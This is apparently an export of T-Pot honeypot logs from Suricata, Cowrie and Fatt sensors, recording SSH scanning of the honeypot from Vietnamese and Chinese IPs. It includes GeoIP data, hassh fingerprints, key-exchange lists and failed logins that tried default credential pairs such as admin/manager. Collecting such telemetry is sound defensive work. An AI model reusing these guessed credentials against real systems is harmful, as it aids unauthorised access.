known attacker	\N
22002	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:18.165879+03	2021-09-20 14:15:04.369613+03	{"_id": "-gXiAnwBvYTbRNuEn_zo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1377092866803443, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner", "is_ssh_server_kex"]}, "src_port": 48140, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.165879Z", "@timestamp": "2021-09-20T11:06:18.165Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33505	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:56:04.825213+03	2021-09-20 15:00:05.945723+03	{"_id": "QAYQA3wBvYTbRNuEMlA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:56:04.242800+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1684883304133744, "payload": "AAADzAYUyoyrHQHzjTehWQj/5oGcdQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 15978, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:56:04.825213Z", "@timestamp": "2021-09-20T11:56:04.825Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............7.Y.....u...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
22003	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:18.590428+03	2021-09-20 14:15:04.371612+03	{"_id": "DQXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "223.241.247.214", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5742099285125732, "duplicate": true, "timestamp": "2021-09-20T11:06:18.590428Z", "@timestamp": "2021-09-20T11:06:18.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
22004	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:18.623281+03	2021-09-20 14:15:04.373612+03	{"_id": "EQXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:58530 (192.168.176.2:22) [session: 6bd485b75f89]", "session": "6bd485b75f89", "@version": "1", "protocol": "ssh", "src_port": 58530, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.623281Z", "@timestamp": "2021-09-20T11:06:18.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22005	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:19.051286+03	2021-09-20 14:15:04.374613+03	{"_id": "DwXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [amsftp/amsftp] failed", "session": "a7a012468805", "@version": "1", "password": "amsftp", "username": "amsftp", "timestamp": "2021-09-20T11:06:19.051286Z", "@timestamp": "2021-09-20T11:06:19.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22006	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:19.015052+03	2021-09-20 14:15:04.376629+03	{"_id": "IwXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47900 (192.168.176.2:22) [session: 7d1c23bc7452]", "session": "7d1c23bc7452", "@version": "1", "protocol": "ssh", "src_port": 47900, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.015052Z", "@timestamp": "2021-09-20T11:06:19.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22007	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:18.163164+03	2021-09-20 14:15:04.377613+03	{"_id": "KAXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/manager] failed", "session": "3894053eb664", "@version": "1", "password": "manager", "username": "admin", "timestamp": "2021-09-20T11:06:18.163164Z", "@timestamp": "2021-09-20T11:06:18.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22008	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:18.166404+03	2021-09-20 14:15:04.378613+03	{"_id": "GgXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48140, "dest_port": 22, "timestamp": "2021-09-20T11:06:18.166404", "@timestamp": "2021-09-20T11:06:18.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22009	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:18.652666+03	2021-09-20 14:15:04.380612+03	{"_id": "LAXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2759bab7190a", "@version": "1", "timestamp": "2021-09-20T11:06:18.652666Z", "@timestamp": "2021-09-20T11:06:18.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22010	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:19.044934+03	2021-09-20 14:15:04.382612+03	{"_id": "LgXiAnwBvYTbRNuEof0N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "87a0b732c4da", "@version": "1", "duration": 2.351331949234009, "timestamp": "2021-09-20T11:06:19.044934Z", "@timestamp": "2021-09-20T11:06:19.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22011	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:19.014287+03	2021-09-20 14:15:04.383613+03	{"_id": "BQXiAnwBvYTbRNuEof0L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3420f9617213", "@version": "1", "duration": 2.7735230922698975, "timestamp": "2021-09-20T11:06:19.014287Z", "@timestamp": "2021-09-20T11:06:19.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22012	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:19.703127+03	2021-09-20 14:15:04.384613+03	{"_id": "LwXiAnwBvYTbRNuEo_3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1347300826425625, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 58530, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.703127Z", "@timestamp": "2021-09-20T11:06:19.703Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22013	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:19.712996+03	2021-09-20 14:15:04.386612+03	{"_id": "MQXiAnwBvYTbRNuEo_3R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 315471440859131, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60256, "dest_port": 22, "timestamp": "2021-09-20T11:06:19.712996Z", "@timestamp": "2021-09-20T11:06:19.712Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
